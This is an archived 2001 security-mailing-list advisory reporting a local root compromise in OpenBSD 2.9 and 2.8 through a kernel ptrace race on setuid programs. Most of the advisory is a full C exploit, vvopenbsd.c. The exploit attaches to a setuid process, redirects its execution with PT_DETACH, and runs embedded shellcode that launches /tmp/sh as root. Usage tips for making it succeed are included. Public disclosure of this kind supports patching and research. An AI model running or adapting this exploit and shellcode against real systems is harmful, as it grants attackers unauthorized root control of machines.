OpenBSD 2.9,2.8 local root compromise

From: Georgi Guninski (guninskiat_private)
Date: Thu Jun 14 2001 - 07:14:46 PDT

  • Next message: Cisco Systems Product Security Incident Response Team: "Cisco Security Advisory: Cisco 6400 NRP2 Telnet Vulnerability"

    Georgi Guninski security advisory #47, 2001
    
    OpenBSD 2.9,2.8 local root compromise
    
    Systems affected:
    OpenBSD 2.9,2.8
    Have not tested on other OSes but they may be vulnerable
    
    Risk: High
    Date: 14 June 2001
    
    Legal Notice:
    This Advisory is Copyright (c) 2001 Georgi Guninski. 
    You may distribute it unmodified. 
    You may not modify it and distribute it or distribute parts 
    of it without the author's written permission.
    
    Disclaimer:
    The information in this advisory is believed to be true based on 
    experiments though it may be false.
    The opinions expressed in this advisory and program are my own and 
    not of any company. The usual standard disclaimer applies, 
    especially the fact that Georgi Guninski is not liable for any damages 
    caused by direct or  indirect use of the information or functionality 
    provided by this advisory or program. Georgi Guninski bears no 
    responsibility for content or misuse of this advisory or program or 
    any derivatives thereof.
    
    
    Description:
    
    There is local root compromise in OpenBSD 2.9, 2.8 due to a race
    probably in the kernel. This is quite similar to the linux kernel
    race several months ago.
    
    
    Details:
    By forking a few process it is possible to attach to +s pid with ptrace.
    The process seems to be in a strange state when it is attached.
    Contrary to the man info PT_DETACH allows specifying an address to which
    execution is continued.
    
    
    Exploit:
    
    http://www.guninski.com/vvopenbsd.c
    
    -------------vvopenbsd.c----------------------
    /* Written by Georgi Guninski http://www.guninski.com 
    Tested on OpenBSD 2.9 and 2.8
    Works best after reboot - the +s program must not be executed before, seems
    executes /tmp/sh
    /tmp/su must be a link to +s program
    if the +s program has been executed, create and run shell script the size of RAM
    You may need to type "fg" if the program receives stop signal
    you may need to run the program several times
    */
    
    #include <stdio.h>
    #include <fcntl.h>
    #include <sys/types.h>
    #include <signal.h>
    #include <sys/ptrace.h>
    #include <sys/wait.h>
    #include <limits.h>
    #include <errno.h>
    #include <stdlib.h>
    #include <machine/reg.h>
    
    int me=0;
    
    void endit(int x)
    {
    if(!me)
     {
     printf("exiting\n");
     exit(0);
     }
    }
    
    extern char **environ;
    int main(int ac, char **av)
    {
    
    volatile struct reg pt;
    
    //exec "/tmp/sh"
    char bsdshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
                      "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53"
                      "\xb0\x3b\x50\xcd\x80\x90\x90\x90";
    
    int j,status,sig;
    volatile int done=0;
    volatile static int done2=0;
    int pid,pid2,i;
    int num; // number of processes to fork. 20 works for me on Pentium500
    int target;
    
    char *env1;
    // address of $joro where execution of shell code begins.may need to be changed
    unsigned int breakat=0xdfbfddaf;
    num=20;
    pid=getpid();
    if(!getenv("joro"))
    {
    setenv("joro",bsdshell,1);
    if (execle(av[0],"a",NULL,environ))
     perror("exec");
    }
    else
     breakat=(int)getenv("joro");
    printf("Written by Georgi Guninski\nShall jump to %x\n",breakat);
    target=pid;
    printf("Started pid1=%d target=%d\n",pid,target);
    for(i=0;i<num;i++)
     {
     if (!done)
      if(! (pid2 = fork()))
      {
       signal(SIGURG,&endit);
       pid2=getpid();
       while(!done)
       {
        if (!ptrace(PT_ATTACH, target,NULL,NULL))
       {
       done=1;
       printf("\nAttached!\n");
     
       wait(&status);
       sig=WSTOPSIG(status);
    
      printf("sig=%d %s\n",status,sys_siglist[sig]);
      ptrace(PT_GETREGS,target,(caddr_t)&pt,NULL);
      printf("eip=%x esp=%x\n",pt.r_eip,pt.r_esp);
      
     me=1;
     done2 +=1;
     
      ptrace(PT_DETACH, target,(caddr_t)breakat,NULL);
    
    //sleep(2);
    kill(0,SIGURG);
    sleep(4); 
    while(42)
     kill(target,SIGCONT);
       }
      }
      }
     }
    // "/tmp/su" must be symbolic link to +s program . 
    // the program must not be executed before.
    execle("/tmp/su","/usr/bin/su",NULL,environ);
    }
    
    ----------------------------------------------
    
    Workaround:
    Don't know
    
    Vendor status:
    OpenBSD was informed on 9 June 2001.
    
    Regards,
    Georgi Guninski
    http://www.guninski.com
    



    This archive was generated by hypermail 2b30 : Thu Jun 14 2001 - 08:39:03 PDT